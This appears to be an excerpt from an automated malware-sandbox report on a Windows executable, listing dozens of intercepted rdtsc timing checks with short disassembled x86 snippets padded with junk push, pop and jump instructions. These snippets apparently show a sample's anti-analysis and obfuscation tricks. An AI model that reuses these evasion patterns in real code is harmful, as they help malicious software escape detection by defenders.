Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E2B9 second address: A3E2BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E7C5 second address: A3E7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E7C9 second address: A3E7D3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E910 second address: A3E923 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E923 second address: A3E935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8AE47565F6h 0x0000000a jnc 00007F8AE47565F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44793 second address: A44797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44797 second address: A4479D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BAF second address: A44BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44D4F second address: A44D54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44D54 second address: A44D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44D5A second address: A44D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45182 second address: A4518C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4518C second address: A451AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756607h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451AC second address: A451B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451B2 second address: A451BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8AE47565F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451BE second address: A451C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A35A second address: A4A393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47565FFh 0x00000009 popad 0x0000000a ja 00007F8AE475660Eh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E5A2 second address: A4E5A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A519CB second address: A519D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A519D1 second address: A519D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A519D7 second address: A519E3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AE47565FEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A519E3 second address: A519EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8AE47DB012h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C96A second address: A5C97B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FBh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61926 second address: A6192F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6192F second address: A6194E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8AE47565F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F8AE4756601h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6194E second address: A61952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A661B6 second address: A661BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A661BB second address: A661CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A661CB second address: A661CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A661CF second address: A661DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A760D7 second address: A760DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A760DD second address: A760E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A760E1 second address: A760FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47565FCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F8AE47565FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A760FB second address: A76108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76108 second address: A7610E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7610E second address: A7611C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F8AE47DB00Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7611C second address: A76120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76120 second address: A76126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76126 second address: A7612A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7612A second address: A76137 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7497D second address: A74981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74F28 second address: A74F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007F8AE47DB006h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A752DD second address: A752E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8AE47565F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7950F second address: A79514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79514 second address: A7953C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AE475660Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7953C second address: A79540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79540 second address: A79544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79680 second address: A79694 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8AE47DB00Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9676A second address: A9677E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F8AE47565F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9677E second address: A96782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9637F second address: A96395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8AE47565FDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE513 second address: AAE517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE517 second address: AAE539 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F8AE47565FEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE539 second address: AAE541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE541 second address: AAE574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE4756609h 0x00000009 jns 00007F8AE47565F6h 0x0000000f jmp 00007F8AE47565FFh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE574 second address: AAE593 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AE47DB019h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3006 second address: AB301E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AE47565FDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB301E second address: AB303C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8AE47DB018h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB303C second address: AB3059 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AE475660Fh 0x00000008 jmp 00007F8AE4756603h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1F11 second address: AB1F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB22EC second address: AB22F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB244C second address: AB2472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8AE47DB006h 0x0000000a jmp 00007F8AE47DB018h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2472 second address: AB2492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE4756607h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2492 second address: AB249E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F8AE47DB006h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5A9C second address: AB5AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8AE47565F6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F8AE47565FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5BBE second address: AB5BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5BC2 second address: AB5BD4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F8AE47565FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5F33 second address: AB5F39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5050E second address: 4C5051D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8038C second address: 4C803C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4E335D7Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F8AE47DB00Eh 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8AE47DB017h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803C2 second address: 4C80492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 74h 0x00000005 mov eax, 2ECC2BD7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov si, BECFh 0x00000014 call 00007F8AE4756604h 0x00000019 pushfd 0x0000001a jmp 00007F8AE4756602h 0x0000001f and si, 88A8h 0x00000024 jmp 00007F8AE47565FBh 0x00000029 popfd 0x0000002a pop eax 0x0000002b popad 0x0000002c push ebx 0x0000002d pushad 0x0000002e push ebx 0x0000002f mov bl, ch 0x00000031 pop edx 0x00000032 popad 0x00000033 mov dword ptr [esp], ecx 0x00000036 pushad 0x00000037 call 00007F8AE4756602h 0x0000003c call 00007F8AE4756602h 0x00000041 pop ecx 0x00000042 pop edi 0x00000043 jmp 00007F8AE4756600h 0x00000048 popad 0x00000049 xchg eax, esi 0x0000004a jmp 00007F8AE4756600h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov edi, eax 0x00000055 pushfd 0x00000056 jmp 00007F8AE4756608h 0x0000005b xor al, 00000028h 0x0000005e jmp 00007F8AE47565FBh 0x00000063 popfd 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80492 second address: 4C80498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80498 second address: 4C8049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8049C second address: 4C804A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804A0 second address: 4C8052C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F8AE4756607h 0x0000000e lea eax, dword ptr [ebp-04h] 0x00000011 pushad 0x00000012 jmp 00007F8AE4756604h 0x00000017 pushfd 0x00000018 jmp 00007F8AE4756602h 0x0000001d sbb eax, 4EE67A18h 0x00000023 jmp 00007F8AE47565FBh 0x00000028 popfd 0x00000029 popad 0x0000002a nop 0x0000002b jmp 00007F8AE4756606h 0x00000030 push eax 0x00000031 jmp 00007F8AE47565FBh 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov dx, BE66h 0x0000003e mov ecx, ebx 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8052C second address: 4C8053F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB00Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8053F second address: 4C80567 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80567 second address: 4C8056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8056B second address: 4C80571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80571 second address: 4C80586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB011h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80586 second address: 4C8058A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C805B2 second address: 4C805D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 mov edx, ecx 0x00000013 popad 0x00000014 mov esi, eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ah, bl 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70067 second address: 4C700F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8AE4756601h 0x00000009 sbb ax, 9966h 0x0000000e jmp 00007F8AE4756601h 0x00000013 popfd 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push FFFFFFFEh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F8AE4756604h 0x00000025 adc cx, AC38h 0x0000002a jmp 00007F8AE47565FBh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F8AE4756608h 0x00000036 xor eax, 0B2FA698h 0x0000003c jmp 00007F8AE47565FBh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700F0 second address: 4C70108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB014h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70108 second address: 4C70128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 37DF4C3Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 mov cx, E3C3h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70128 second address: 4C7020F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0A6E0ECAh 0x00000008 pushfd 0x00000009 jmp 00007F8AE47DB00Bh 0x0000000e adc esi, 4DC1796Eh 0x00000014 jmp 00007F8AE47DB019h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d add dword ptr [esp], 3DE75209h 0x00000024 pushad 0x00000025 movzx eax, dx 0x00000028 pushfd 0x00000029 jmp 00007F8AE47DB019h 0x0000002e sbb cl, 00000056h 0x00000031 jmp 00007F8AE47DB011h 0x00000036 popfd 0x00000037 popad 0x00000038 push FD98898Fh 0x0000003d jmp 00007F8AE47DB017h 0x00000042 add dword ptr [esp], 7828A1E1h 0x00000049 jmp 00007F8AE47DB016h 0x0000004e mov eax, dword ptr fs:[00000000h] 0x00000054 pushad 0x00000055 mov dx, cx 0x00000058 popad 0x00000059 nop 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007F8AE47DB012h 0x00000061 or ax, BF38h 0x00000066 jmp 00007F8AE47DB00Bh 0x0000006b popfd 0x0000006c mov ah, 41h 0x0000006e popad 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 mov si, bx 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7020F second address: 4C70214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70214 second address: 4C70241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8AE47DB010h 0x0000000a or cl, FFFFFFC8h 0x0000000d jmp 00007F8AE47DB00Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70241 second address: 4C7026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8AE4756601h 0x0000000a and al, FFFFFFE6h 0x0000000d jmp 00007F8AE4756601h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7026D second address: 4C7027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB00Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7027D second address: 4C70281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
